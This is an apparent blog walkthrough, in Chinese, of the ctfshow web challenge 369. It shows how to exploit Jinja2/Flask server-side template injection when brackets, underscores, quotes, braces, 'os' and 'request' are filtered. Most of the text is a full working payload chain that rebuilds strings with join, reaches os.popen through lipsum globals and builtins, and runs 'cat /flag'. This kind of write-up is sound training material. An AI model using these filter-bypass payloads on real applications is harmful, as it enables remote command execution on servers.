SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)

写在前面

由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的关键字,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。

实例引入

本章内容,咱们就先研究怎么做出ctfshow web入门369这道题目,然后再讲解绕过的原理。

判断是否存在SSTI模板注入漏洞

由于双花括号被过滤,我们只能使用{%%}来判断,我们传入参数?name={%print 123%},来观察页面是否回显123,如果回显123即存在SSTI模板注入漏洞。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print 123%}

在这里插入图片描述
页面回显123,存在SSTI模板注入漏洞。

拼接payload

我们先确定我们使用哪一个payload去打它,我们就以:

{%print ((lipsum)|attr("__globals__")).get("os").popen("cat /flag").read()%}

我们分析一下:
引号、下划线被过滤,我们不能直接使用" attr(“__globals__”) ",并且request被过滤,不能通过传参,我们就只能通过拼接字符串的方式获取,并且后面的get方法、popen方法、os模块、shell命令都要采取拼接完成。

获取__globals__
获取globals字符串
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set globals=dict(globals=a)|join%}
{%print globals%}

在这里插入图片描述

获取下划线

我们获得了globals字符串,还需要下划线来拼接,那么下划线如何获取呢?
我们就通过lipsum|string|list中获取。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string|list%}

在这里插入图片描述

获取pop方法

我们知道从哪里获取下划线之后,但是要考虑如何使用索引值来获取,这时我们就想到了pop()方法。pop()方法可以通过传入列表元素的索引值将列表中的该元素删除并返回该元素的值。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%print pop%}

在这里插入图片描述
这样的话我们就可以获取到下划线了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%print xiahuaxian%}

在这里插入图片描述
获取下划线之后也就自然能获得__globals__。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=dict(globals=a)|join%}
{%print (xiahuaxian,xiahuaxian,globals,xiahuaxian,xiahuaxian)|join%}

在这里插入图片描述

获取os模块
获取os字符串

先获取到os字符。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set shell=dict(o=a,s=b)|join%}
{%print shell%}

在这里插入图片描述

获取get()方法

获取get,以便我们使用get()获取到os模块。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set get=dict(get=a)|join%}
{%print get%}

在这里插入图片描述

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}

在这里插入图片描述

获取popen方法

还是先获取popen字符串。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set popen=dict(popen=a)|join%}
{%print popen%}

在这里插入图片描述
获取popen方法

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%set popen=dict(popen=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)%}

在这里插入图片描述

执行shell命令

拼接shell命令我们需要使用chr函数,因为chr不是flask的函数,所以我们必须自己获取。

获取chr函数

我们使用:

(lipsum|attr("__globals__"))|attr("__builtins__")|attr(get)(chr)

来获取。
但是我们没有__builtins__,也需要我们自己拼接获取。

获取__builtins__
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

在这里插入图片描述
这样就可以获取chr函数了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%print char%}

在这里插入图片描述

拼接shell命令

我们已经获取到了chr函数,就可以使用它来拼接我们的shell命令了。
我们以"cat /flag"命令为例。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%print command%}

在这里插入图片描述

执行命令

接下来我们就可以执行我们拼接好的shell命令了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)%}
{%print result%}

在这里插入图片描述
我们发现竟然显示了个这么个东西,这显然不是我们的flag呀!
这是什么情况呢?因为popen()方法执行的返回结果是一个file对象,我们需要在使用read()函数进行读取。

再创建read()方法吧。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set read=dict(read=a)|join%}
{%print read%}

在这里插入图片描述
有read,我们就可以直接读取执行命令的返回结果了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}

在这里插入图片描述
成功获取到flag!

完整payload介绍

?name=
 获取pop字段以便使用pop函数
{%set pop=dict(po=a,p=b)|join%} 
 获取下划线,以便拼接__globals__和__builtins__
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
 获取__globals__
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
 获取get字段,以便使用get函数
{%set get=dict(get=a)|join%}
 获取os字段,以便获取os模块
{%set shell=dict(o=a,s=b)|join%}
 获取popen字段,以便使用popen函数
{%set popen=dict(popen=a)|join%}
 获取__builtins__以便获取chr函数
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
 获取chr字段,以便获取chr函数
{%set ch=dict(ch=a,r=b)|join%}
 获取chr函数,以便拼接shell命令
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
 拼接shell命令,以便获取flag
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
 获取read字段,以便使用read函数读取命令执行的结果
{%set read=dict(read=a)|join%}
 将命令执行结果存放在result中
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
 输出命令执行结果
{%print result%}

绕过原理

绕过过程中,我们会用到许多的知识,有的小伙伴可能不太理解,这里进行简单介绍:

lipsum|attr()

lipsum是flask的一个方法,lipsum|attr(“__globals__”) 就相当于 lipsum.__globals__。

()|join

()|join方法,可以将小括号里的内容进行拼接起来。例如:(1,2,3)|join 就可以打印出123。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print (1,2,3)|join%}

在这里插入图片描述

dict()|join

毫无疑问,dict就是一个字段,而dict()|join,就是将该字典的key值进行拼接,例如:dict(a=1,b=2)|join 的输出结果就是ab

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print dict(a=1,b=2)|join%}

在这里插入图片描述

lipsum|string|list

上边已经说过,lipsum是flask的一个方法,lipsum|string就是一串介绍lipsum的字符串。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string%}

在这里插入图片描述
而lipsum|string|list就是将lipsum|string生成的字符串以列表的形式进行展示,这样该字符串的每个字符都是该列表的元素,我们就可以使用索引值来获取该列表我们需要的字符了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string|list%}

在这里插入图片描述

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值